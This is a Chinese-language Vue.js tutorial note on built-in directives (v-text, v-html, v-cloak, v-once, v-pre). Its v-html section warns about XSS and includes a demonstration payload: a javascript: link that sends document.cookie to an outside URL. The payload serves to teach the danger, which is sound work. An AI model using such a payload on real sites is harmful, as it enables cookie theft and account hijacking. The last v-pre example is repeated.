10-VUE的内置指令

10-内置指令

---

v-text指令：

​ 1.作用：向其所在的节点中渲染文本内容。
​ 2.与插值语法的区别：v-text会替换掉节点中的内容，{{xx}}则不会。

<h3>你好，{{name}}</h3>
<h3 v-text="name">你好，</h3>

new Vue({
    el:'#root',
    data:{
        name:"比奇堡",
    },
})

v-html指令：

​ 1.作用：向指定节点中渲染包含html结构的内容。
​ 2.与插值语法的区别：
​ (1).v-html会替换掉节点中所有的内容，{(xx}则不会
​ (2).v-html可以识别html结构。

<h3 v-text="str">你好，</h3>
<h1 v-html="str">你好，</h1>

new Vue({
    el:'#root',
    data:{
        str:"<h4>你好</h4>",
    },
})

​ 3.严重注意：v-html有安全性问题！！！！
​ (1).在网站上动态渲染任意HTML是非常危险的，容易导致XSS攻击。
​ (2).一定要在可信的内容上使用v-html,永不要用在用户提交的内容上

<h3 v-html="xss"></h3>
<script>
	new Vue({
        el:'#root',
        data:{
            xss:"<a href=javascript:location.href='http://www.baidu.com?'+document.cookie>点我看看</a>",
        },
    })
</script>

可以发现v-html会直接将输入的字符串转换为超链接，容易造成网站cookie泄露等安全问题

v-cloak指令（没有值）：

​ 1.本质是一个特殊属性，Vue实例创建完毕并接管容器后，会删掉v-cloak属性。
​ 2.使用css配合v-cloak可以解决网速慢时页面展示出 {{xxx}} 的问题。

<style>
    [v-cloak]{
        display: none;
    }
</style>
<h3 v-cloak>{{name}}</h3>

v-once指令：

​ 1.v-once所在节点在初次动态渲染后，就视为静态内容了。
​ 2.以后数据的改变不会引起v-once所在结构的更新，可以用于优化性能。

<h3 v-once>初识n的值为：{{n}}</h3>
<h3>现在n的值为：{{n}}</h3>
<button @click="n++">点我n+1</button>

v-pre指令：

​ 1.跳过其所在节点的编译过程。
​ 2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

<h3 v-pre>欢迎来到VUE</h3>
<h3>你好，{{name}}</h3>

2.可利用它跳过：没有使用指令语法、没有使用插值语法的节点，会加快编译。

<h3 v-pre>欢迎来到VUE</h3>
<h3>你好，{{name}}</h3>